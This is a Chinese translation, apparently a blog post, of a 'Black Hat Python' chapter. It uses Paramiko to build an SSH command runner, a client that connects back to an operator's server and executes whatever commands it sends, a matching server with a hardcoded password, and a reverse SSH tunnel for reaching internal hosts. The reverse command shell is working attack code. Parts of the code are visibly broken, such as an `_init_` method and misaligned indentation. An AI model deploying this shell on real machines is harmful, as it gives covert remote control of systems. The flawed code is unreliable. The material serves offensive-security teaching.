    client.connect(ip, port=port, username=user, password=passwd)
    
    [3] _, stdout, stderr = client.exec_command(cmd)
    output = stdout.readlines() + stderr.readlines()
    if output:
        print('--- Output ---')
        for line in output:
            print(line.strip())

if __name__ == '__main__':
    [4] import getpass
    # user = getpass.getuser()
    user = input('Username: ')
    password = getpass.getpass()
    
    ip = input('Enter server IP: ') or '192.168.1.203'
    port = input('Enter port or <CR>: ') or 2222
    cmd = input('Enter command or <CR>: ') or 'id'
    [5] ssh_command(ip, port, user, password, cmd)

我们创建一个名为 ssh_command [1]的函数,它连接到SSH服务器并运行单个命令。请注意,Paramiko支持使用密钥进行身份验证,来代替(或同时)使用密码进行身份验证。您应该在实际工作中使用SSH密钥身份验证,但在本例中为了便于使用,我们仍然使用传统的用户名和密码来身份验证。

因为我们控制这个连接的两端,所以我们将策略设置为接受我们所连接的SSH服务器的SSH密钥[2]并建立连接。假设建立了连接,我们运行在 ssh_command 函数调用中传入的命令[3]。然后,如果该命令产生输出,则打印输出的每一行。

在main模块中,我们使用了一个新模块 getpass [4]。您可以使用它从当前环境中获取用户名,但是由于我们的用户名在两台机器上是不同的,所以我们在命令行上需要显式地请求用户名。然后,我们使用 getpass 函数请求密码(响应不会显示在控制台上,以防止任何shoulder-surfers窃取)。然后我们得到要运行的IP、端口和命令(cmd),并将其发送给执行[5]。

(笔者注:shoulder-surfers:〔美国〕(以排在他人身后窥视或在远处以望远镜偷看等手段)窃取他人银行存款卡[电话卡等]密码的人,窃号贼,肩膀骇客。)

让我们通过连接到我们的Linux服务器来运行一个快速测试:

% python ssh_cmd.py
Username: tim
Password:
Enter server IP: 192.168.1.203
Enter port or <CR>: 22
Enter command or <CR>: id
--- Output ---
uid=1000(tim) gid=1000(tim) groups=1000(tim),27(sudo)

可以看到我们设置连接并运行了该命令。您可以轻松地修改此脚本,以便在一个SSH服务器上运行 multiple 多个命令,或者在 multiple 多个SSH服务器上运行命令。

(笔者注:multiple既有 多种的 的意思,也有 许多的 的意思)

基本工作完成后,让我们修改脚本,使其能够通过SSH在Windows客户机上运行命令。当然,在使用SSH时,您通常会使用SSH客户端连接到SSH服务器,但是由于大多数版本的Windows不包括开箱即用的(预装并设置好的)SSH服务器,因此我们需要反向操作,从SSH服务器向SSH客户端发送命令。

创建一个新文件命名为 ssh_rcmd.py ,并输入以下内容:

import paramiko
import shlex
import subprocess

def ssh_command(ip, port, user, passwd, command):
    client = paramiko.SSHClient()
    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    client.connect(ip, port=port, username=user, password=passwd)
    
    ssh_session = client.get_transport().open_session()
    if ssh_session.active:
        ssh_session.send(command)
        print(ssh_session.recv(1024).decode())
        while True:
            command = ssh_session.recv(1024) [1]
            try:
                cmd = command.decode()
                if cmd == 'exit':
                    client.close()
                    break
                cmd_output = subprocess.check_output(shlex.split(cmd), shell=True) [2]
                ssh_session.send(cmd_output or 'okay') [3]
            except Exception as e:
                 ssh_session.send(str(e))
         client.close()
    return

if __name__ == '__main__':
    import getpass
    user = getpass.getuser()
    password = getpass.getpass()
    
    ip = input('Enter server IP: ')
    port = input('Enter port: ')
    ssh_command(ip, port, user, password, 'ClientConnected') [4]

程序像上一个程序一样开始,新的内容在 while True: 循环中开始。在这个循环中,我们不像在前面的示例中那样执行单个命令,而是从连接获取命令[1],执行命令[2],并将所有输出返回给调用者[3]。

另外,请注意,我们发送的第一个命令是 ClientConnected [4]。当我们创建SSH连接的另一端时,您将看到这是为什么。

现在,让我们编写一个程序,为我们的SSH客户端(我们将在其中运行命令)创建一个要连接到的SSH服务器。这可以是安装了Python和Paramiko的Linux、Windows甚至macOS系统。创建一个新文件命名为 ssh_server.py 的,并输入以下内容:

import os
import paramiko
import socket
import sys
import threading

CWD = os.path.dirname(os.path.realpath(__file__))
[1] HOSTKEY = paramiko.RSAKey(filename=os.path.join(CWD, 'test_rsa.key'))

[2] class Server (paramiko.ServerInterface):
    def _init_(self):
        self.event = threading.Event()
 
    def check_channel_request(self, kind, chanid):
        if kind == 'session':
            return paramiko.OPEN_SUCCEEDED
        return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED
    def check_auth_password(self, username, password):
        if (username == 'tim') and (password == 'sekret'):
            return paramiko.AUTH_SUCCESSFUL
  
if __name__ == '__main__':
    server = '192.168.1.207'
    ssh_port = 2222
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        [3] sock.bind((server, ssh_port))
        sock.listen(100)
        print('[+] Listening for connection ...')
        client, addr = sock.accept()
    except Exception as e:
        print('[-] Listen failed: ' + str(e))
        sys.exit(1)
    else:
        print('[+] Got a connection!', client, addr)
    
    [4] bhSession = paramiko.Transport(client)
    bhSession.add_server_key(HOSTKEY)
    server = Server()
    bhSession.start_server(server=server)
    chan = bhSession.accept(20)
    if chan is None:
        print('*** No channel.')
        sys.exit(1)
 
 [5] print('[+] Authenticated!')
 [6] print(chan.recv(1024))
    chan.send('Welcome to bh_ssh')
    try:
        while True:
            command= input("Enter command: ")
            if command != 'exit':
                chan.send(command)
                r = chan.recv(8192)
                print(r.decode())
            else:
                chan.send('exit')
                print('exiting')
                bhSession.close()
                break
    except KeyboardInterrupt:
        bhSession.close()

对于这个例子,我们使用Paramiko演示文件[1]中包含的SSH密钥。我们启动一个套接字监听器[3],就像我们在本章前面所做的那样,然后“SSH-inize”它[2],并配置验证方法[4]。当一个客户端已经验证[5]并发送我们 ClientConnected 的消息[6],我们键入SSH服务器(服务器机器运行 ssh_server.py )的任何命令被发送到SSH客户端(客户端机器运行 ssh_rcmd.py )并在SSH客户端执行,它返回输出到SSH服务器。让我们试一下吧。

Kicking the Tires

在演示中,我们将在我们的(作者的)Windows机器上运行客户端,在Mac上运行服务器端。下面我们启动服务器:

% python ssh_server.py
[+] Listening for connection ...

现在,在Windows机器上,我们启动客户端:

C:\Users\tim>: $ python ssh_rcmd.py
Password:
Welcome to bh_ssh

回到服务器上,我们看到了连接情况:

[+] Got a connection! from ('192.168.1.208', 61852)
[+] Authenticated!
ClientConnected
Enter command: whoami
desktop-cc91n7i\tim
Enter command: ipconfig
Windows IP Configuration
<snip>

您可以看到客户机已成功连接,此时我们将运行一些命令。我们在SSH客户端中看不到任何内容,但是我们发送的命令在客户机上已经执行,而且输出被发送回到SSH服务器。

SSH隧道

在上一节中,我们构建了一个工具,让我们可以通过将命令输入SSH客户端,并在远程SSH服务器上运行命令。另一种技术是使用SSH tunnel 。SSH隧道将发送打包在SSH内部的网络流量,而不是向服务器发送命令,SSH服务器将解包并传递它。

假设您处于以下情况:您可以远程访问内部网络上的SSH服务器,但您希望访问同一网络上的web服务器。你不能直接访问web服务器。安装了SSH的服务器确实可以访问,但是这个SSH服务器没有您想要使用的工具。

克服这个问题的一种方法是建立一个 forward SSH隧道。例如,这将允许您运行命令ssh -L 8008:web:80 justin@sshserver以用户 justin 的身份连接SSH服务器,并在本地系统上设置端口8008。您发送到端口8008的任何内容都将通过现有的SSH隧道传输到SSH服务器,SSH服务器将把它传送到web服务器。如图2-1所示。

image-20210708200124309

这很棒,但是请记住,没有多少Windows系统运行SSH服务器服务。不过,也不是什么都没有。我们可以配置一个 reverse SSH隧道连接。在本例中,我们以平常的方式从Windows客户机连接到自己的SSH服务器。通过SSH连接,我们还在SSH服务器上指定一个远程端口,然后被隧道连接到本地主机和端口,如图2-2所示。例如,我们可以使用这个本地主机和端口来开启端口3389以使用Remote Desktop(远程桌面)访问内部系统,或访问Windows客户机可以访问的另一系统(就像我们示例中的web服务器)。

image-20210708200139798

Paramiko演示文件中包含一个名为 rforward.py 的文件,它就是这样的功能。它的功能完成得很好,所以在这本书中我们不会重新写这个文件。然而,我们将指出几个重要的点,并通过一个例子来演示如何使用它。打开forward.py,跳到 main() ,然后继续跟进:

def main():
    options, server, remote = parse_options() [1]
    password = None
    if options.readpass:
        password = getpass.getpass('Enter SSH password: ')
    client = paramiko.SSHClient() [2]
    client.load_system_host_keys()
    client.set_missing_host_key_policy(paramiko.WarningPolicy())
    
    verbose('Connecting to ssh host %s:%d ...' % (server[0], server[1]))
    try:
        client.connect(server[0],
                       server[1],
                       username=options.user,
                       key_filename=options.keyfile,
                       look_for_keys=options.look_for_keys,
                       password=password
         )
    except Exception as e:
        print('*** Failed to connect to %s:%d: %r' % (server[0], server[1], e))
        sys.exit(1)
        
    verbose(
        'Now forwarding remote port %d to %s:%d ...'
         % (options.port, remote[0], remote[1])
    )
    
    try:
        reverse_forward_tunnel( [3]
              options.port, remote[0], remote[1], client.get_transport()
          )
    except KeyboardInterrupt:
        print('C-c: Port forwarding stopped.')
        sys.exit(0)

在设置Paramiko SSH客户端连接[2] (看起来应该非常熟悉了) 之前,在顶部[1]的几行进行了两次检查,以确保将所有必要的参数传递给脚本。main() 的最后一节调用了 reverse_forward_tunnel 函数[3]。

让我们来看看这个函数:

def reverse_forward_tunnel(server_port, remote_host, remote_port, transport):
    [1] transport.request_port_forward('', server_port)
    while True:
        [2] chan = transport.accept(1000)
        if chan is None:
            continue
        [3] thr = threading.Thread(
            target=handler, args=(chan, remote_host, remote_port)
        )
        thr.setDaemon(True)
        thr.start()

在Paramiko中,有两个主要的类函数用于通信: transportchannel ,前者负责建立和维护加密的连接,后者类似于套接字,用于在加密的传输会话中发送和接收数据。这部分,我们开始使用Paramiko的 request_port_forward 来转发来自SSH服务器上端口[1]的TCP连接,并启动一个新的传输通道[2]。然后,通过通道,我们调用函数处理程序[3]。

但我们还没有完成。我们需要编写 handler 函数来管理每个线程的通信:

def handler(chan, host, port):
    sock = socket.socket()
    try:
        sock.connect((host, port))
    except Exception as e:
        verbose('Forwarding request to %s:%d failed: %r' % (host, port, e))
        return
 
    verbose(
        'Connected!  Tunnel open %r -> %r -> %r'
        % (chan.origin_addr, chan.getpeername(), (host, port))
    )
    while True: [1]
        r, w, x = select.select([sock, chan], [], [])
        if sock in r:
            data = sock.recv(1024)
            if len(data) == 0:
                break
            chan.send(data)
        if chan in r:
            data = chan.recv(1024)
            if len(data) == 0:
                break
            sock.send(data)
    chan.close()
    sock.close()
    verbose('Tunnel closed from %r' % (chan.origin_addr,))

最后,发送和接收数据[1]。我们将在下一节中进行尝试。

Kicking the Tires

我们将从Windows系统运行 rforward.py ,并将其配置为从web服务器到Kali SSH服务器的隧道传输的“中间人”:

C:\Users\tim>   python   rforward.py 192.168.1.203 -p 8081 -r 192.168.1.207:3000 --user=tim 
--password
Enter SSH password:
Connecting to ssh host 192.168.1.203:22 . . . 
Now forwarding remote port 8081 to 192.168.1.207:3000 . . .

您可以看到,在Windows机器上,我们建立连接到位于192.168.1.203的SSH服务器,并打开该服务器上的端口8081,这将把通信转发到192.168.1.207端口3000。现在如果我们在我们的Linux服务器上浏览到http://127.0.0.1:8081,我们通过SSH隧道连接到192.168.1.207:3000的web服务器,如图2-3所示。

image-20210708200211201

如果你回到Windows机器上,你也可以看到由 Paramiko 建立的连接:

Connected!  Tunnel open ('127.0.0.1', 54690) -> ('192.168.1.203', 22) -> ('192.168.1.207', 
3000)

SSH和SSH隧道是需要理解和使用的重要概念。黑帽子们应该知道何时以及如何正确使用SSH和SSH隧道,而Paramiko使向你现有的Python工具中添加SSH功能成为可能。

在本章中,我们已经创建了一些非常简单但非常有用的工具。我们鼓励您根据需要对它们进行扩展和修改,以便牢固地掌握Python的网络特性。您可以在渗透测试、开发后或查找bug等时候使用这些工具。让我们继续使用原始套接字和完成网络嗅探。然后我们将两者结合起来创建一个纯Python的主机探测扫描程序。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值